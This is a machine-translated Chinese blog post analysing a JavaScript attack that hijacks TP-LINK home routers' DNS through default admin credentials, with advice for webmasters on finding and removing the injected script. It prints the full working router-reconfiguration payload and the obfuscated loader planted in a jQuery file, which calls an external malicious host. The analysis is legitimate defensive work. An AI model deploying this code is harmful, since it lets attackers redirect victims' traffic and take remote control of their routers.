通过JavaScript攻击家用路由器

我们最近注意到提交Wepawet试图访问本地IP地址。这是特别重要的，因为攻击者的目的是篡改受害者的家庭路由器的配置。

一个活生生的例子是位于http://freemdsv.com/ad.php?pid=20120811

if (MSIE = navigator.userAgent.indexOf("MSIE") == -1) {
    document.writeln("<div style=\'display:none\'>");

    function ip1() {
        i = new Image;
        i.src = 'http://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced';
    }
    document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 οnlοad=ip1()>');

    function ip3() {
        ii = new Image;
        ii.src = 'http://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8';
    }
    document.write('<img src="http://admin:admin@192.168.1.1/images/logo.jpg" height=1 width=1 οnlοad=ip3()>');
    document.writeln("</div>");
}

该脚本主要检查是否路由器是通过图像请求访问：

  http://admin:admin @ 192.168.1.1/images/logo.jpg 

因此，预计该路由器是留在与用户名/密码的默认配置为管理员：admin和它是从IP地址192.168.1.1访问。 IP1和IP3负责路由器与下列请求恶意重构的功能：

http ://192.168.1.1/userRpm/PPPoECfgAdvRpm.htm?wan=0&lcpMru=1480&ServiceName=&AcName=&EchoReq=0&manual=2&dnsserver=58.221.59.217&dnsserver2=114.114.114.114&downBandwidth=0&upBandwidth=0&Save=%B1%A3+%B4%E6&Advanced=Advanced

和

http ://192.168.1.1/userRpm/ManageControlRpm.htm?port=11&ip=0.0.0.0&Save=%C8%B7+%B6%A8

文件“PPPoECfgAdvRpm.htm”似乎是的PPPoE高级设置的TP-LINK路由器 （配置链接 演示地址 ）。 他们改变受害者的DNS服务器58.221.59.217和114.114.114.114这是非常有趣的，这意味着受害者是易受人在这方面的中间人攻击。

第二个请求重新配置路由器被远程访问通过它的Web界面（ 链接 演示地址）。 通过这种方式，攻击者可以在远程将自己的意志改变受害者的路由器的设置。

从Wepawet执行这种攻击的一些报道在这里：

Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告 
Wepawet报告

很多站长朋友反馈，有时候会运行网站的时候会看到下面的被chrome或者firefox等拦截的提示：

其实就是网站中某个JS文件被加入了JavaScript攻击家用路由器的代码。也就是说网站被挂马了。

如果你的网站出现这样的情况，不要着急，http://zhanzhang.anquan.org/topic/dns_hijacking/ 通过这个网址来检查你的网站。

如果被挂马的话，会出现如下面图片所示（下面的图片来自网络）：

可以看出网站http://www.txxxxy.org 的检测报告里 报告了2个文件和相关恶意代码：

http://www.txxxxy.org/statics/js/jquery.sgallery.js 
http://freemdsv.com/ad.php?pid=20120811
恶意链接：
http://admin:admin@192.168.1.1/images/logo.jpg

其中 http://www.txxxxy.org/statics/js/jquery.sgallery.js  这个文件是网站http://www.txxxxy.org 上的文件，而http://freemdsv.com/ad.php?pid=20120811这个文件是别人网站上的文件。 我们分析下具体是啥。

浏览器访问http://www.txxxxy.org/statics/js/jquery.sgallery.js 得到这个js的代码，拖到文件最末看到有段代码，如下图：

代码如下：

if(document.cookie.indexOf('20120811')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='20120811=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%66%72%65%65%6D%64%73%76%2E%63%6F%6D%2F%61%64%2E%70%68%70%3F%70%69%64%3D%32%30%31%32%30%38%31%31%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%3C%2F%73%63%72%69%70%74%3E'));}

这段代码里有部分加密的，我们解密一下：如下图

得到代码：

<script src="http://freemdsv.com/ad.php?pid=20120811" type="text/javascript"></script>

是不是调用了我们上面说到的这个文件呢。

解决也很简单，删掉这段代码就OK了。

翻译自：http://blog.kapravelos.com/post/68334450790/attacking-home-routers-via-javascript